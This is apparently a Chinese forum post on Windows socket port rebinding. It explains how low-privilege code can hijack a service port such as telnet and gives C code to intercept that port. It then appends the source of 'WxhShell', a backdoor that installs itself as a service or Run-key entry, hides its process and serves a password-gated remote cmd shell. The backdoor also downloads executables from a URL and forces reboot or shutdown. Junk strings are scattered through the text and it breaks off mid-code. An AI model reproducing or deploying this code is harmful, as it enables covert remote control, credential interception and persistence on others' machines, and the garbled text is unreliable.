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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: u=}bq{ s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); `A _8nW) ,Z7Z!.TY! saddr.sin_family = AF_INET; s [F' h-y AE4~M`6D saddr.sin_addr.s_addr = htonl(INADDR_ANY); x<\D@X^ 4
6lEJ bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ~yH>Ko9F} N$&ePU J 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 K[gWXBP <bZm 这意味着什么?意味着可以进行如下的攻击: tZ
j,A%<
:U. )YHY 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 rL
sK-qQ uBq3.+,x* 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) u\6]^T6 :+Q"MIU 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ;Fem<p)V dX@A%6#? 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 {Y:ZY+ mhLRi\[c ) 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Qb't*2c% r82o[+$u0K 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 _+04M)q0 }t%>_ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 _d| 62VS <I%9O:R
#include +aw>p_\ #include Ji:iKkI #include 4<Sa,~4 #include 7 Y>`- \ DWORD WINAPI ClientThread(LPVOID lpParam); _=*tDa int main() /Ej]X`F { zL},`:(. WORD wVersionRequested; -?B9>6h" DWORD ret; L0mnU)Q}C WSADATA wsaData; sK%Hx` BOOL val; 51M^yG&M SOCKADDR_IN saddr; 99Yo1Q0 SOCKADDR_IN scaddr; CTkN8{2S int err; )ozcr^ SOCKET s; \}x'>6zr2 SOCKET sc; ff}a <w int caddsize; 5nx<,-N*BP HANDLE mt; Az< 9hk DWORD tid; yD"0=\ wVersionRequested = MAKEWORD( 2, 2 ); K>cz63}S err = WSAStartup( wVersionRequested, &wsaData ); ;\.JV ' if ( err != 0 ) { YZH#5]o8 printf("error!WSAStartup failed!\n"); `<}V
!Lo return -1; $?)3&\)R } [+l saddr.sin_family = AF_INET; Xs>s|_T @\T;PTD- //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 3Q$'qZw p hygnC`| saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); hiMyFvA4 saddr.sin_port = htons(23); 3K#mF7)a if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) fcE)V#c"g { j:e^7|. printf("error!socket failed!\n"); 8_IOJ]:w return -1; _+*/~E } Ybt_?Q9#] val = TRUE; @v~Pwr! //SO_REUSEADDR选项就是可以实现端口重绑定的 <m>l-] if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) !/nx=vgp { M[K0t>ih printf("error!setsockopt failed!\n"); ;>Ca(Y2M return -1; A} -&C } \POnsM)+l //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; :G`L3E&1s //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ^b"bRQqm //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 >nhE%:X> #$t}T@t> if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) !b7'>b'J<1 { k%l_N)38 ret=GetLastError(); -jVaS wt printf("error!bind failed!\n"); Be{/2jU% return -1; Cfr<D3&,] } JEsLF{ listen(s,2); L-z;:Ztk while(1) \oB' { "X5_-l caddsize = sizeof(scaddr); 6)wy^a|pb //接受连接请求 i-k >U}[% sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); |}M0,AS if(sc!=INVALID_SOCKET) If-,c^i { <rB3[IJo mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 7!r#(>I6?1 if(mt==NULL) ;v1NL@w* { {Vxc6,= printf("Thread Creat Failed!\n"); &"[)s[m+t break; Ak6MPuBB- }
+mc[S } ?Q96,T-)
c CloseHandle(mt); PEW4J{(W } >I4p9y(u closesocket(s); ^XBzZ!h| WSACleanup(); 4bi NGl~ return 0; zj>aaY } q]eFd6
DWORD WINAPI ClientThread(LPVOID lpParam) [0&'cu> { F!gNt<fZ SOCKET ss = (SOCKET)lpParam; Dn_"B0$lk SOCKET sc; 2~!R*i unsigned char buf[4096]; dI^IK SOCKADDR_IN saddr; ufw3H9F(O long num; /mn-+u`K DWORD val; h(@R]GUX DWORD ret; }!%JYG^!D //如果是隐藏端口应用的话,可以在此处加一些判断 ~H^'al2PK //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 #ya\Jdx saddr.sin_family = AF_INET; )N"Ew0U saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); vZ$U^>": saddr.sin_port = htons(23); 46bl>yk9< if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) \.H9$C$ { g@~!kh,TH printf("error!socket failed!\n"); (#!]fF"!x return -1; |5xYT 'V } SyK 9Is{8 val = 100; C$<"w, if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) VEj$^bpp5s { S]&8St ret = GetLastError(); J7BFk
?= return -1; ryxYcEM0 } :n'yQ#[rn if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 0#oBXu { "l@A[@R ret = GetLastError(); qoj^_s6 return -1; /!3ZW XY\ } D|d4:;7 if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) B< |VeU { mC i[Ps printf("error!socket connect failed!\n"); }zFf0.82 closesocket(sc); Y[Q@WdE9 closesocket(ss); l|YT[LR7 return -1; $. %L } Ia629gi5s while(1) `)R?nVb { AF^T~?t //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 nPcS3!7B# //如果是嗅探内容的话,可以再此处进行内容分析和记录 :{LAVMG&^ //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 2fl4h<V num = recv(ss,buf,4096,0); &E
bI Op if(num>0) ;%' b;+ send(sc,buf,num,0); "8 N"Udu else if(num==0) CjZZm^O break; 4%
HGMr num = recv(sc,buf,4096,0); AL$W +') if(num>0) ^=EjadVQ send(ss,buf,num,0); 'p%=<0vrr else if(num==0) .K IVf8)" break; Q48+O?&
} xS'zZ%? closesocket(ss); s/
M7Zl closesocket(sc); i+f7 return 0 ; b~7Jh:%@; } |6E
.M1 dUS ZNY )QmGsU}? ========================================================== lT]=&m> ;UYc 下边附上一个代码,,WXhSHELL 0n3D~Xzd XCDSmZ ========================================================== OL3UgepF E\0X`QeY #include "stdafx.h" 9)`amhf> z3a-+NjD m #include <stdio.h> }e 9!xA #include <string.h> 4q hWm"&CM #include <windows.h> C.~j'5N #include <winsock2.h> ?Gd sOg^ #include <winsvc.h> eNRs&^ #include <urlmon.h> !X|k"km" {<2>6 _z #pragma comment (lib, "Ws2_32.lib") Jf7frzw
#pragma comment (lib, "urlmon.lib") GnFs63 B'-I{~'/ #define MAX_USER 100 // 最大客户端连接数 Wta]BX #define BUF_SOCK 200 // sock buffer {`%hgR #define KEY_BUFF 255 // 输入 buffer 5IW8=$k~.) fXO_g #define REBOOT 0 // 重启 38~PWKt #define SHUTDOWN 1 // 关机 lWWP03er! X7aYpt; #define DEF_PORT 5000 // 监听端口 62[8xn=(%
740B\pc0 #define REG_LEN 16 // 注册表键长度 J~KX|QY.S #define SVC_LEN 80 // NT服务名长度 jd 1jG2=f x4m 5JDC // 从dll定义API u$%A#L[ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); kneuV8+(5 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); wu)Wg-dT typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ~,"N[Q typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); j!\dn!Xwt ?}}qu'N:N // wxhshell配置信息 $5AC1g' struct WSCFG { 2j&v;dmh< int ws_port; // 监听端口 m@jge)O&D char ws_passstr[REG_LEN]; // 口令 F8<"AI int ws_autoins; // 安装标记, 1=yes 0=no V1B(|P char ws_regname[REG_LEN]; // 注册表键名 u-JpI-8h char ws_svcname[REG_LEN]; // 服务名 #)s!}X^ char ws_svcdisp[SVC_LEN]; // 服务显示名 { p;shs5 char ws_svcdesc[SVC_LEN]; // 服务描述信息 2*[QZ9U[@ char ws_passmsg[SVC_LEN]; // 密码输入提示信息 5RF4]$zT int ws_downexe; // 下载执行标记, 1=yes 0=no 0,_b) char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" ESTM$k}X
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 gZO&r#
VO=!8Yx[ }; A`[@8 W@.Ji B // default Wxhshell configuration 9sSN<7 struct WSCFG wscfg={DEF_PORT, ;HNq>/{ "xuhuanlingzhe", <8!
Tq 1, ;au*V5a% "Wxhshell", n[,XU|2 "Wxhshell", 0*8TS7.3 "WxhShell Service", C!+I>J{4f "Wrsky Windows CmdShell Service", 5G[x }4U "Please Input Your Password: ", xCXQ<77 1, Y9Z]i$qS&k " http://www.wrsky.com/wxhshell.exe", Z^yNLF *&V "Wxhshell.exe" "
.4,." }; `zA#z /> VT\"q1)p // 消息定义模块 ,
sjh^-; char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; thc <xxRP char *msg_ws_prompt="\n\r? for help\n\r#>"; =dZHYO^Cv char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; o.m:3!RW char *msg_ws_ext="\n\rExit."; :z&7W< char *msg_ws_end="\n\rQuit."; eF~dQ4RZ char *msg_ws_boot="\n\rReboot..."; xwi\ char *msg_ws_poff="\n\rShutdown..."; +l E90y char *msg_ws_down="\n\rSave to "; *$,:m /@"Y^ char *msg_ws_err="\n\rErr!"; : g6n,p_# char *msg_ws_ok="\n\rOK!"; 8`=v. s@8w-]" char ExeFile[MAX_PATH]; (UL4+ta int nUser = 0; (W[V?!1 HANDLE handles[MAX_USER]; E{?au]y$J int OsIsNt; t$J.+} }I $,3J7l3 SERVICE_STATUS serviceStatus; = &tmP SERVICE_STATUS_HANDLE hServiceStatusHandle; |kJ%`j(7R dY(;]sxFr // 函数声明 Qkcjr]#^$ int Install(void); B07v^!Z> int Uninstall(void); YJ_\Ns+Ow int DownloadFile(char *sURL, SOCKET wsh); kLj$@E`4 int Boot(int flag); %<0eA`F4 void HideProc(void); ^7^N}x@ int GetOsVer(void); e}hmS 1>H int Wxhshell(SOCKET wsl); "%qzj93>
void TalkWithClient(void *cs); mh.+."<)F int CmdShell(SOCKET sock); &@% $2O.3 int StartFromService(void); [ sF(#Y:I int StartWxhshell(LPSTR lpCmdLine); H[
m<RaG8 M|,mr~rRG VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); `=UWqb(K_ VOID WINAPI NTServiceHandler( DWORD fdwControl ); @-HG`c ct ]bZ(HC?KZr // 数据结构和表定义 n]}W``=7 SERVICE_TABLE_ENTRY DispatchTable[] = b2,!g }I { g[H',)A) {wscfg.ws_svcname, NTServiceMain}, nKoiG*PI {NULL, NULL} |~!U4D\ }; as*4UT3 -=`#fDvBn // 自我安装 0@I S int Install(void) F@ Swe { ,<-G<${ char svExeFile[MAX_PATH]; C;+h.;}<D HKEY key; ^r6!l. strcpy(svExeFile,ExeFile); ;&V s4 >J9oH=S6 // 如果是win9x系统,修改注册表设为自启动 }%7NF* if(!OsIsNt) { ]hos+;4p if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { `h:34RC; RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); i|`dWOVb RegCloseKey(key); ]:>,A@7 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { aJ Z"D8C RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ~6YMD RegCloseKey(key); UT0){%2@ return 0; ':{>a28= } a.N{-2ptH } &i+Ce } Rk!X]-`= else { \K`L3*cBKK 5GA C`}} // 如果是NT以上系统,安装为系统服务 v6.t{6zYgY SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 'k;rH!R if (schSCManager!=0) s\!>"J bAQ {
#$1Z SC_HANDLE schService = CreateService ~5FW[_ ( 4}+/F}TbJ5 schSCManager, @+3kb.P%7 wscfg.ws_svcname, wLc4Dm*V wscfg.ws_svcdisp, 1 zw*/dp SERVICE_ALL_ACCESS, Ym%xx!9 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ls@i".[ SERVICE_AUTO_START, *Kdda}
J+ SERVICE_ERROR_NORMAL, 8>hwK )av svExeFile, }\J2?Et{ NULL, {9UEq0 NULL, >leU:7 NULL, OC-gA}FZ-} NULL, }PTV] q% NULL T,aW8| ); vz.>~HBP if (schService!=0) 1-lu\"H` { ;r c`OZyE CloseServiceHandle(schService); C8
\5A8c CloseServiceHandle(schSCManager); M5gWD==uP strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); :#@ = B] strcat(svExeFile,wscfg.ws_svcname); FEVEp if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { PDs@?nz, RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ~e6Brq RegCloseKey(key); i3rH'B-I. return 0; 0a80 LAK } Z&;uh_EC } vZ.x{"n'~ CloseServiceHandle(schSCManager); [Xb@Wh:yG } nBk)WX&[K } u\C
lP# `
,SiA-3* return 1; t+9][Adf } ty8v
6J# .l.a(_R // 自我卸载 j~!X;PV3 int Uninstall(void) ~l)-wNqR4r { w.[ "p9tc HKEY key; YW7b)uYf oYukLr if(!OsIsNt) { [VE8V- if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { :j+ ZI3@ RegDeleteValue(key,wscfg.ws_regname); z11O F RegCloseKey(key); r-:Uz\gM if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { J+`VujWT RegDeleteValue(key,wscfg.ws_regname); ."9];)2rx RegCloseKey(key); Oil?JI Hq return 0; ZIQ
[bE7 } hEp(A8g)bQ } Z]B~{!W1 } @nux9MX<9 else { [eC2"&} @)fd}tV SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 2 B if (schSCManager!=0) p6;OL@\~ { 2nR[Xh?L SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
5~>z h if (schService!=0) thI
F& { Evedc*z~P if(DeleteService(schService)!=0) { $m/)FnU/ CloseServiceHandle(schService); Ymg|4%O@ CloseServiceHandle(schSCManager); ))"6ern return 0; ;C2K~8, } U|IzXQX( CloseServiceHandle(schService); [Al& } INJEsz CloseServiceHandle(schSCManager); cLLbZ=` } NxsBX:XDn } CLUW!F c-(UhN3WG return 1; Ru>MFG } [k/@E+; / G7vwC // 从指定url下载文件 B!?%O int DownloadFile(char *sURL, SOCKET wsh) c9&xe"v { * -8&[D0 HRESULT hr; Sy0$z39 char seps[]= "/"; 9po3m]|zy char *token; d'NIV9P`j] char *file; UWd=!h^dt char myURL[MAX_PATH]; ui/a|Q char myFILE[MAX_PATH]; Jcrw#l8|C bcE._9@@ strcpy(myURL,sURL); 7t0er'VC token=strtok(myURL,seps); x8V('` }j while(token!=NULL) zd >t-?g { <nT
+$ file=token; (2$p{Uf token=strtok(NULL,seps); HK2[]G } ?gt l )q %5"9</a&G GetCurrentDirectory(MAX_PATH,myFILE); G$F<$ strcat(myFILE, "\\"); Wa{` VS strcat(myFILE, file); [q8 P~l send(wsh,myFILE,strlen(myFILE),0); ) QU send(wsh,"...",3,0); !
t?iXZ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); :%,:" if(hr==S_OK) Ezd_`_@R return 0; J;8IY= else ,)Znb= return 1; Y,^@P ).`1+b } jK& h~) fof TP1 // 系统电源模块 d,B:kE0Y int Boot(int flag) sN9&,&W1 { s;01u_ HANDLE hToken; {#?N TOKEN_PRIVILEGES tkp; Ac2n *Doa*wQ if(OsIsNt) { LnH ?dy OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); CYY=R'1:G{ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); '!!CeDy tkp.PrivilegeCount = 1; !
|<Fo'U tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; kuszb~`zPY AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); I
8`VNA&b if(flag==REBOOT) { P2#XKG if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) KBx6NU?;PO return 0; W{6|tx) } FQ<Ju. else { z[L8$7L if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) aBNc(?ri return 0; |
*2w5iR } )rn*iJ.e8 } Vc\MV0lr else { n|9-KTe7|* if(flag==REBOOT) { &=] ~0$ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 0zmE>/O+ return 0; ;-~B)M_S` } L*xhGoC= else { `T@i. 'X if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) "O3tq=Q return 0; E7j(QOf } *\+\5pu0 } }YGV\Nu N
+Yxz;Mg return 1; ,8U&?8l } {FeDvhv y\4L{GlBM // win9x进程隐藏模块 N{9v1`B void HideProc(void) gc_:%ki { il4^zj82 !/'t5~x[ HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); <J<{l if ( hKernel != NULL ) _S<3\%(0 { #+Ir>GU pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); #L=x%8B ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); e$<0
7Oc FreeLibrary(hKernel); bh,[ 3X% } 4tRYw0f47 k]F[>26k return; h\fjBDU^ } ^ Edfv5 X5zDpi|Dq // 获取操作系统版本 I8hz(2jI int GetOsVer(void) Aza /6OL { sBj(Qd OSVERSIONINFO winfo; _hAcJ{Y winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 5d Eh7XL GetVersionEx(&winfo); SYAyk if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ?GKb7Oj return 1; deBY5| else wN_Vfb return 0; MU@UfB|;u } rK' L6o EH+"~-v)ae // 客户端句柄模块 !Q2d(H>
int Wxhshell(SOCKET wsl) XRM_x:+] { $v4.sl:x SOCKET wsh; JFcLv=U struct sockaddr_in client; >*~L28Fyn DWORD myID; :3v}kLO7| ^S4d:-.3 while(nUser<MAX_USER) b[r8e { PCHu#5j_a int nSize=sizeof(client); DU0zez I9 wsh=accept(wsl,(struct sockaddr *)&client,&nSize); M'?,] an if(wsh==INVALID_SOCKET) return 1; ZQ4p(6a %aG5F}S2~ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 9vuyv*-}e if(handles[nUser]==0) g/ T
closesocket(wsh); | k&Ck else \(?rQg@U nUser++; CM/H9Kz. } $O&b`` WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 9&-dTayIz Sq>dt[7 return 0; DrKP%BnS } |HiE@ y`Wty@ // 关闭 socket >:74%D0UF void CloseIt(SOCKET wsh) [owWiN4`s { Ci@o|Y }tP closesocket(wsh); MK%9:wZ nUser--; -^&<Z
0m ExitThread(0); Zi *2nv' } kvL=>
A !j9t*2m[ // 客户端请求句柄 epA:v|S void TalkWithClient(void *cs) l5S aT,% { )Kc<j!8-[ $SlIr<'*" SOCKET wsh=(SOCKET)cs; %f&/E"M char pwd[SVC_LEN]; K0u|U` char cmd[KEY_BUFF]; tURu0`]( char chr[1]; 5bRJS70M int i,j; m~iXl,r ]J1dt N= while (nUser < MAX_USER) { VQc_|z_s b.2aHu( 3 if(wscfg.ws_passstr) { "3X2VFwoJ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); VACQ+ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); &|s0P //ZeroMemory(pwd,KEY_BUFF); R6` WN i=0; iOd&BB6 while(i<SVC_LEN) { <wk!hTmW g#"zQv ON // 设置超时 C8J[Up fd_set FdRead; f}o\*|k_| struct timeval TimeOut; ef8s<5"4 FD_ZERO(&FdRead); AHD=<7Rs FD_SET(wsh,&FdRead); ]0Y4U7W TimeOut.tv_sec=8; ,82S=N5V! TimeOut.tv_usec=0; A!od9W6 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Y>dF5&(kb if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); /K+r?
]kf rJ`!: f if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); p)KheLiZ pwd =chr[0]; { }:#G if(chr[0]==0xd || chr[0]==0xa) { 1h^:[[!c pwd=0; m]'#t)B_m break; "IZa!eUW } 0pZ4BZdT| i++; {j{u6i } ;;!yC NxkGOAOE // 如果是非法用户,关闭 socket ..IfP@ if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); d2*fLEsF } X:A^<L
~ L^r#o-H< send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); GB23\Yv send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); []\+k31D w;%.2VJ while(1) { GoJ.&aH $ ;@mS^ik")$ ZeroMemory(cmd,KEY_BUFF); /MIe(,>Uh QJZK|* // 自动支持客户端 telnet标准
|tKsgj j=0; Xe3U`P7( while(j<KEY_BUFF) { R4[N:~Z$| if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
oI?3<M^ cmd[j]=chr[0]; B7VH<;Z if(chr[0]==0xa || chr[0]==0xd) { .yMEIUm cmd[j]=0; OC_+("N break; ~k"=4j9 } piJu+tUy j++; ~Q Oe## } F|IAiE @D]5c ivm_ // 下载文件 ^ sOQi6pL if(strstr(cmd,"http://")) { =J18eH!] send(wsh,msg_ws_down,strlen(msg_ws_down),0); {JO^tI if(DownloadFile(cmd,wsh)) ZJnYIK send(wsh,msg_ws_err,strlen(msg_ws_err),0); `"Jj1O@ else S-a]j;U send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +! ]zA4x } DEBB()6, else { 2bv=N4ly x!?u^ switch(cmd[0]) { 3$jT*OyG# nXaC3W:" // 帮助 +vw\y case '?': { \S"is z send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); G'nmllB`] break; j%Y#(Q> } =Z{O<xw' // 安装 )\1@V+!E% case 'i': { |.(dq^ if(Install()) ]Oe2JfJwx send(wsh,msg_ws_err,strlen(msg_ws_err),0); r7RIRg_ else t=BUN send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); N+9VYH"* break; )~GmU9f } #%pI(,o= // 卸载 sv2A-Dld case 'r': { ]V[q(-Jk if(Uninstall()) o$wEEz*4 send(wsh,msg_ws_err,strlen(msg_ws_err),0); cb@?}(aFl else C1V|0hu send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6`&a&%,O break; ML}J\7R } Y@NNrGDkT* // 显示 wxhshell 所在路径 \e:7)R2<!x case 'p': { wVvF^VHV^ char svExeFile[MAX_PATH]; %h hfU6[ strcpy(svExeFile,"\n\r"); ]RwpX ^ 1 strcat(svExeFile,ExeFile); ,bZL C send(wsh,svExeFile,strlen(svExeFile),0); N,<uf@LQ break; <]6SN } CLxynZ\ ; // 重启 Bm:98? [ case 'b': { 3RigzT3 send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ,[N%Q# if(Boot(REBOOT)) kC:uG0sW send(wsh,msg_ws_err,strlen(msg_ws_err),0); nB_?ckj, else { '<gI8W</ closesocket(wsh); raW>xOivR ExitThread(0); g!|=%(G= } k
9_`(nx break; ^dI424 } kPKB|kP\ // 关机 ! :Y:pu0 case 'd': { *Hg>[@dP0 send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ;
8_{e3s if(Boot(SHUTDOWN)) LHyB3V send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'I`&Yo~c9 else { `oAW7q)~ closesocket(wsh); zZ:>do\2 ExitThread(0); bpOYHc6,*` } 'g">LQ~a+ break; @Y?#Sl* } e-~N" // 获取shell _H9 MwJ case 's': { Mhm@R@ CmdShell(wsh); w{{gu1#]G closesocket(wsh); .nO\kg oK ExitThread(0);
&U{#Kt5q break; fIM,lt } )n1_(; // 退出 /~DI 6g case 'x': { fPU`/6 send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); O5!7'RZ CloseIt(wsh); _;W.q7b] break; {k(g]#pP } hMa]B*o/- // 离开 u/UrAqw case 'q': { @Rg/~\ K send(wsh,msg_ws_end,strlen(msg_ws_end),0);
nI[os closesocket(wsh); >R|/M`<ph WSACleanup(); n"$jG:AQJ exit(1); O8f?; ] break; m\;R2"H% } M+-*QyCFK } adlV!k7RG } r^2p*nr} "N;`1ce // 提示信息 ?K1/ <PE+ if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); O6@j &*jS } ,1hxw<sNR } f@6QvkIa e*sfPHt return; n#mA/H;wV } =WyDp97@+ %Wg'i!?cB // shell模块句柄 H!c@klD int CmdShell(SOCKET sock) u+dLaVlLJ { } FE>|1 STARTUPINFO si; k3~}7]O) ZeroMemory(&si,sizeof(si)); N[?N5~jG si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; OwuE~K7b{ si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; aasoW\UG PROCESS_INFORMATION ProcessInfo; 8bxfj<O, char cmdline[]="cmd"; O8^A5,2@3> CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); P=qa::A return 0; >3ZFzh&OYQ } f}6s
Q5 o5d%w-' // 自身启动模式 tE.FrZS int StartFromService(void) G`+T+ { A4Ru g\p] typedef struct #HYr0Tw6` { 2{D{sa DWORD ExitStatus; 85>05? DWORD PebBaseAddress; .GbX]?dN DWORD AffinityMask; W=lyIb{?^0 DWORD BasePriority; XFg9P}" ULONG UniqueProcessId; 9y6-/H
, ULONG InheritedFromUniqueProcessId; ,y1PbA0m } PROCESS_BASIC_INFORMATION; #
q~e^A
